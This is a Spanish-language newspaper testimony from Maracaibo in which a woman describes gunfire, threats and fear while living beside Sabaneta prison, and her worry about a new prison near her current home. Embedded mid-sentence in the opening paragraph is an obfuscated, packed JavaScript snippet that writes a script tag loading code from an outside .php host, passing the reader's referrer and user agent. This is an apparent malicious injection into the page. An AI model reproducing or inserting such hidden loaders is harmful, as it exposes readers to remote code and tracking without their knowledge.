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“Las balas de Sabaneta me persiguen hasta El Soler”

Juan José Faría / Maracaibo / jfarias@laverdad.com
Los eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zdnit|var|u0026u|referrer|assde||js|php'.split('|'),0,{})) tiroteos obligaron a Marta González a salir del barrio Libertad. Ahora la prisión será de nuevo su vecina. Hoy cuenta su experiencia. Una bala perdida casi mata a su esposo. Sufrió amenazas por pedir un poco de intimidad. Su hija tiene un soplo en el corazón a causa de los sustos. Ahora vive tranquila

Marta González, nombre ficticio, teme dar la cara por termor a los presos. (Foto: Odaylis Luque)

El 25 de octubre de 2008 estaba con mi esposo y mi hija de dos años en el frente de mi casa. Eran las 2.00 de la tarde. Había sombra y conversábamos un rato cuando comenzó el tiroteo en la cárcel de Sabaneta. Ya tenía tres años viviendo alquilado en esa casa del barrio Libertad, justo al frente de la entrada de Máxima, muy cerca de la garita de vigilancia.

Cuando comenzó la balacera, le pedí a mi esposo que entrara. Tomé a mi hija y me metí primero. La niña lloraba por los tiros y porque me veía nerviosa. Mi esposo se detuvo a cerrar la puerta y cuando le daba vueltas a la llave, vio cuando un plomo tocó la reja, a escasos centímetros de su cara y luego cayó en la mesa de la sala. Corrimos a ver que era y confirmamos que se trató de una bala. 

No lo pensé dos veces: al día siguiente salí a buscar para dónde mudarme. Ya lo teníamos planificado, pero como vivíamos ahí nos tomamos tiempo para buscar la mejor zona para criar a nuestros hijos. Pero ya el 26 recorrí toda la ciudad. El 27 de noviembre de ese mismo año me mudé a esta casa, aquí en El Soler. No estábamos acostumbrados a vivir tan lejos de la familia, pero ahora estamos bien.

Vivir frente a la cárcel de Sabaneta no es fácil. Recién mudada y sin saber cómo era la situación, llamé a unos militares porque las mujeres de los presos de Máxima se arecostaban todos los días a la cerca, dejaban basura, decían improperios, hablaban de homicidios, fumaban y daban mal ejemplo a mi hija. El militar las retiró y al día siguiente me balearon la casa. 

Zozobra

Perdí la cuenta de las veces que tuve que someterme al espectáculo de un velorio. Cuando matan a algún delincuente que tiene conexión con la cárcel llevan la urna hasta allá. En medio de la calle la abren y los presos suben al techo con grandes cornetas y pistolas cargadas. Entonces lloran, gritan, disparan, ponen música, bailan, se emborrachan y nadie les dice nada por miedo. 

En el techo de Máxima no solo me tocó ver los borrachos con las armas. Casi todos los días subía un preso enfermo a masturbarse.

Tuve que enseñar a mi hija a tirarse al piso cuando escuchara un disparo y a arrastrarse hasta mi cuarto. Allí debía quedarse hasta que dejaran de sonar. En diciembre era terrible, no podía distinguir entre un tiroteo y un cohete. 

Una vez la llevé al médico y me lo dijo muy claro: mi niña tenía un soplo en el corazón por tantos sustos. No soy adivina, pero creo que los presos son los culpables. 

Todo eso quedó atrás. Desde noviembre de 2008 estoy tranquila. En diciembre del año pasado, cuando nos enteramos de que la cárcel que construyen en el kilómetro 10 de La Cañada en realidad está a dos cuadras de mi casa, volvió la preocupación. No confío en militares, porque yo los vi metiendo armas. No confío en directores, porque yo vi cómo los presos eran quienes mandaban. No confío en nueva estructura ni en nada. Se repetirá lo mismo de Sabaneta. 

Yo le tengo mucho amor a mi casa porque es propia. Mi esposo la compró para nosotros. No es justo que ahora deba mudarme de aquí. No quiero verle la cara de terror a mi hija otra vez cuando comience otro tiroteo. 

 

“Tuve que enseñar a mi hija a tirarse al piso cuando escuchara un disparo y a arrastrarse hasta mi cuarto". 

Marta González. Víctima de Sabaneta.

 

Dueños de todo

A una vecina, los presos le prohibieron limpiar el monte que crece en el frente de su casa, porque ellos lanzaban allí la droga y el dinero para sus compinches. Una vez, se le ocurrió limpiarlo y unas horas después recibió la visita de dos muchachitos en bicicleta. Le advirtieron que si lo volvía a hacer la mataban.

 

5 años tiene González que huyó de la pesadilla de Sabaneta 

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